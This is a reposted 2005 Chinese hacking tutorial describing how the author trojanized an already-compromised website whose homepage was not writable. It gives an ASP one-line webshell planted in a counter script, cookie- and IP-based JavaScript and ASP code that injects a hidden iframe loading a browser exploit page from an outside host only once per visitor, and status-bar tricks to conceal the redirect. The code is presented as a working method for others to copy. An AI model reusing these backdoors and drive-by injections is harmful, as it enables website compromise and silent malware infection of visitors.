欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

首页没有权限也能挂马么?

来源:本站整理 作者:未知 时间:2005-09-05 TAG: 我要投稿
作者:空虚浪子心【XGC】 来源:中国X黑客小组 加入时间:2005-9-3 阅读次数:4199

首页没有权限也能挂马么?
                                          空虚浪子心【XGC】
    在有些情况下,是可以的。一个网站,再怎么安全,怎么设置权限,总有维护的时候,总会为自己的管理方便,提供些方便的路径。也许就在这个时候,会出现安全问题。当然我想讨论的是另一种比较特殊的情况。
    网站地址用www.lovefree.org代替。实际的网站是一个已经被偶们入侵过的站,有过N=N+1的被黑经历,甚至还被国外的牛人组织黑。经过很多,后来逐渐的学会了作安全
    目录都是继承的,iuser没有权限写,以前的马,我的马在一个zszl的目录,站长专门建立的新的虚拟目录设置了权限不可跨越。无法浏览主站的目录。主站呢,刚好有另一个兄弟留的(图一)。
他说留了这个马没用,不能写首页,就是想挂马。
    本来我是想一个一个目录找的,可惜我的马留的“不是地方”,这次刚好有了,俺就是不信他会所有目录都不可写。一定有可以写的地方,至少运气好了一些上传的地方,或者生成html的地方有希望。找。。。5个小时,一点都不夸张哦~终于找到一个目录。
政工的网站好像是新作的。虽然主目录不能写,但是upload可以。
(图二)
    大家一定想。首页都不能写,这么浪费时间么。其实我也是这样想的,但是他惹毛我了,哪怕是一点点的进取,我都会慢慢的往前进。谁知道前面会遇到什么呢。
浏览目录,有了马,很多本来是隐藏的目录,也都展现了出来,渐渐的扩大战果吧。果然还是找到了一些可以写的目录,因为吸取教训,下次被黑,他们一定还是再次详细的分目录,设权限。所以马越分散越好。
看看他的目录。
(图三)
凡是程序的主目录,都设置了不可写。看来已经很小心了嘛~
    偶开始想是不是要搞同一个网段的机子,然后arp欺骗。想着想着就晕了,麻烦的很。。。继续探测吧。
    最后把可以写的目录统计下,以及数据库地址,还有asp结尾的数据库地址(删除了nodown字段就可以作后门用),查看是不是有什么规律。总结和推断管理员的习惯,是一件很有趣的事情。
    挂马。。。挂马。。。首页不能写。。。嗯,如果首页调用的Javascript,而js文件可以写,是不是仍然可以挂马呢?
    首页是html的,找到这一段:
<td width="67%">您是第<script language="Javascript" src="count/count.asp" type="text/Javascript"></script>位访问者 <br>
Count可以写啊!我刚刚还在上面加了
<%On Error Resume Next//%>
<%execute(request("kxlzx"))%>
最简短的,没有任何异常的后门。
前面的调用,用意很明显,统计浏览的人数。在首页显示。
(图四)
    利用。。。
    说实话,挂马,也是出于比较过激的想法,因为我一直认为这样的事情,比较××××,只是看看文章,从来没有真正的挂哪个网站上。一般入侵了的结果只是提醒管理员,或者为了帮兄弟们。到没有真的搞过什么站。不过既然走到这一步了,还是想办法学习实践下吧。
    遇到不会的,先google,完后问朋友。找来几批马,冰狐,chm,最后选择了real,教主写的马,推荐使用。这个马不分系统,和系统补丁,是利用realone的漏洞。简单说些,你吧系统补丁打个遍,天天更新。但是你装了realone在线看电影,还是中。这么说是不是很恐怖?
好东西,总会有缺陷,每次打开ie,会自动关闭,虽然中了。下次打开,还是关闭。这样子,不符合使用的条件么。。。
    最初的想法是让他第一次执行,以后都不执行才好。想起来cookies。
找到

function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
 
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
 
function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
// This cookie is history
var cval = 0;
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}
var expDays = 1;
var exp = new Date();
exp.setTime(exp.getTime() + (expDays*24*60*60*1000));
 
function amt(){
var count = GetCookie('count');
//var count;
//alert(count);
//count = null;
if(count == null) {
SetCookie('count','1')
return 1
}
else{
var newcount = parseInt(count) + 1;
if(newcount<2) count=1;
SetCookie('count',newcount,exp);
//DeleteCookie('count')
return newcount
}
}
 
function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function sethome(){
document.write('<iframe src="http://127.0.0.1/ray.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>');
 
}
if(amt()==1)
{
sethome()
}

这个也是某网页木马里面的。
也是使用cookies来判断的。但是实践了,发现有缺陷。为什么呢?
通过这个判断要求同一个浏览器界面下第二次打开才对。可是第一次的时候已经被关闭了,还怎么判断啊,下次还会在新窗口生成新的cookie。郁闷中。。。
 
看见小mo在线,嗯。去“调戏”下。他刚好也在开始玩挂马,给他推荐了教主这个马(故意的,他看了肯定会想办法弥补缺陷,偶等着收代码就是了,偷笑ing…)
介绍了我使用的环境,刚好首页调用count.asp,count.asp自己有个数据库。
果然,小mo把东西发了过来,我看了下,他是利用count.asp的数据库记录访问ip,完后查询数据库,如果有这个ip,就执行。

<%
     dim conn
     dim dbpath
        On Error Resume Next
     set conn=server.createobject("adodb.connection")
        DBPath = "D:\music.163.net\includes\BD.MDB"
     conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
IP=Request.ServerVariables("REMOTE_ADDR")
Set Rs=Conn.Execute ("Select ID from BD where ip='"&IP&"'")
If Rs.eof then
%>
上面是
<%Conn.Execute "insert into BD (ip) values ('"&IP&"')"%>
<iframe src="http://www.163.com/other/BD/Top.html" width="0" height="0"></iframe>
<%End if%>
 
上面是BD.asp
用来判断中招的。

嘿嘿,果然可行,不过是多文件的,还是改一下吧。我asp不怎么会写,请教了别人帮忙。
为了方便调试,干脆把他们的count.asp程序整个下载了。
Count.asp里面

<!-- #Include File=Conn.asp -->

也就是说已经打开过了数据库。直接查询就是了。
既然是这样子执行。就可以进一步的隐藏,把木马的判断和执行放进conn.asp里面。代码改进。

<%
Set RS=createobject("adodb.recordset")
sql="select ip from bd order by id desc"
rs.open sql,conn,1,1
Do While not Rs.eof
Response.write ""&Rs("ip")&"<br>"
Rs.movenext
loop
rs.close
%>
<%
iP=Request.ServerVariables("REMOTE_ADDR")
sql="Select * from BD where ip='"&IP&"'"
rs.open sql,conn,1,1
 
if rs.bof or Rs.eof then
%>
<%Conn.Execute "insert into BD (ip) values ('"&IP&"')"%>
<iframe src="http://www.lovefree.org/kxlzx1/index.asp" width="0" height="0"></iframe>
<%end if%>

这样子作是有好处的,后面详说。
 
状态栏会显示http://www.lovefree.org/kxlzx1/index.asp(第一次打开的时候)。感觉不爽。
 
在count.asp里面加上。

<script language="Javascript">
<!--
function statusMessageObject(p,d) {
this.msg = MESSAGE
this.out = " "
this.pos = POSITION
this.delay = DELAY
this.i = 0
this.reset = clearMessage
}
function clearMessage() {
this.pos = POSITION
}
var POSITION = 100
var DELAY = 5
var MESSAGE = " "
var scroll = new statusMessageObject()
function scroller() {
for (scroll.i = 0; scroll.i < scroll.pos; scroll.i++) {
scroll.out += " "
}
if (scroll.pos >= 0)
scroll.out += scroll.msg
else scroll.out = scroll.msg.substring(-scroll.pos,scroll.msg.length)
window.status = scroll.out
scroll.out = " "
scroll.pos--
if (scroll.pos < -(scroll.msg.length)) {
scroll.reset()
}
setTimeout ('scroller()',scroll.delay)
}
function snapIn(jumpSpaces,position) {
var msg = scroll.msg
var out = ""
for (var i=0; i<position; i++)
{out += msg.charAt(i)}
for (i=1;i<jumpSpaces;i++)
{out += " "}
out += msg.charAt(position)
window.status = out
if (jumpSpaces <= 1) {
position++
if (msg.charAt(position) == ' ')
{position++ }
jumpSpaces = 100-position
} else if (jumpSpaces > 3)
{jumpSpaces *= .75}
else
{jumpSpaces--}
if (position != msg.length) {
var cmd = "snapIn(" + jumpSpaces + "," + position + ")";
scrollID = window.setTimeout(cmd,scroll.delay);
} else {
window.status=""
jumpSpaces=0
position=0
cmd = "snapIn(" + jumpSpaces + "," + position + ")";
scrollID = window.setTimeout(cmd,scroll.delay);
return false
}
return true
}
snapIn(100,0);
// -->
</script>

也是copy别人的。
这样就不会显示了。结果应该是第一次打开,中着,关闭ie,也许杀毒软件会叫,也许发现病毒,于是再次打开,发现没有问题啊。查看源代码,就算在查看count.asp代码,还是发现没有问题啊,怎么也想不到其实是在conn.asp里面。
 
在我这里测试下。第一次已经关闭,这个是第二次打开的结果。
 
(图五)(图六)
木马在conn.asp里面,即使怀疑,普通用户也不能找到问题,即使那个普通用户是高手,也只能在ie看看count.asp的html代码,结果是什么也没有。因为这个马不会再次执行了。
 
整篇文章不能说是我原创,但是至少有点我的思路,大家转载的时候顺便保证文章的完整性吧。
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载